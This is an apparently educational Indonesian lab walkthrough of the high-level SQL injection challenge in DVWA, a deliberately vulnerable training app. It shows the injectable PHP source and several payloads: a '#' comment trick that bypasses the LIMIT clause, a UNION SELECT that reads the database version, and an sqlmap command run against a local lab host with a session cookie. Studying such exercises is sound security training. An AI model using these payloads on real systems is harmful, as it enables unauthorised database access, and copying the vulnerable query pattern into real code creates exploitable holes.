# High

Di bawah ini adalah *source-code* dari SQL Injection level high di DVWA.

```php
vulnerabilities/sqli/source/high.php
<?php
​
if( isset( $_SESSION [ 'id' ] ) ) {
    // Get input
    $id = $_SESSION[ 'id' ];
​
    // Check database
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' );
​
    // Get results
    while( $row = mysqli_fetch_assoc( $result ) ) {
        // Get values
        $first = $row["first_name"];
        $last  = $row["last_name"];
​
        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
    }
​
    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);        
}
​
?>
```

## Mencari Informasi <a href="#mencari-informasi" id="mencari-informasi"></a>

Pada level ini terdapat perbedaan tentang cara melakukan inputan. Sekarang form inputan berada di halaman **session-input.php** (lalu nilanya dijadikan [session](https://www.w3schools.com/php/php_sessions.asp)) dan hasilnya akan ditampilkan di halaman **index.php**.

![](https://gblobscdn.gitbook.com/assets%2F-LzH5Vfe8_AlGL8KPrs2%2F-M-NsK3ucRIC22GGdmjC%2F-M-Nyi52BPMjBb4atjtY%2Fimage.png?alt=media\&token=b917a31b-44de-402a-b77d-bdac63dfafe7)

Jika kita mencoba memasukkan kutip `'`, terdapat pesan *error* (tetapi pesan *error* ini, pesan yang telah developer tentukan).

![](https://gblobscdn.gitbook.com/assets%2F-LzH5Vfe8_AlGL8KPrs2%2F-M-NsK3ucRIC22GGdmjC%2F-M-O-rUpi-F8RWuBtQy8%2Fimage.png?alt=media\&token=89b9dbfa-efbc-40d5-8606-e2537bef6d4c)

Coba perhatikan *source code*-nya, kali ini tidak terdapat pengecekan spesial karakter dan terdapat LIMIT yang membuat hanya 1 *record* yang tampil. Sehingga jika kita kembali menggunakan *payload* berikut, tetap yang muncul hanyalah 1 *record*.

```
%' '0' = '0
```

![](https://gblobscdn.gitbook.com/assets%2F-LzH5Vfe8_AlGL8KPrs2%2F-M-NsK3ucRIC22GGdmjC%2F-M-O2nwUmCey54ynjv_Q%2Fimage.png?alt=media\&token=91e91ee9-cd1f-4fbe-814a-48f378555e01)

Untuk mengatasi LIMIT ini, saya menemukan suatu cara, yaitu membuat *query* LIMIT ini menjadi komentar dengan menggunakan karakter `#`.

## Melakukan Serangan <a href="#melakukan-serangan" id="melakukan-serangan"></a>

Setelah mengumpulkan informasi, kita akan mulai melakukan *SQL Injection* dengan *payload* seperti berikut:

```sql
%' '0' = '0' #
```

Sehingga *query* yang server jalankan adalah seperti berikut:

```sql
SELECT first_name, last_name FROM users WHERE user_id = '%' '0' = '0' #' LIMIT 1;
```

Mudah dimengerti bukan?😊

Kita juga bisa mendapatkan informasi tentang versi DBMS yang digunakan dengan *payload* berikut:

```sql
1 ' UNION SELECT null, version() #
```

![](https://gblobscdn.gitbook.com/assets%2F-LzH5Vfe8_AlGL8KPrs2%2F-M-NsK3ucRIC22GGdmjC%2F-M-O6rw1MVBaZeqeg_a1%2Fimage.png?alt=media\&token=44c9348a-a8a4-4011-94e4-7726eb905302)

Yup! Setelah ini kalian bisa *explore* lebih lanjut ya.

Pada level ini saya tidak bisa menggunakan SQLMap. Sepertinya SQLMap kebingungan, karena kita menggunakan halaman **session-input.php** untuk melakukan inputan, sedangkan hasilnya berada pada **index.php**.

### Menggunakan SQLMap <a href="#menggunakan-sqlmap" id="menggunakan-sqlmap"></a>

**UPDATE!!!** Gunakan perintah berikut lalu jalankan:

```bash
sqlmap -u "http://172.17.0.2/vulnerabilities/sqli/?id=1" --cookie="PHPSESSID=lred0jr6na1vmci2o8160sb5ff; security=high" --dbs
```

Tetap semangat! Happy Hacking! 🍻
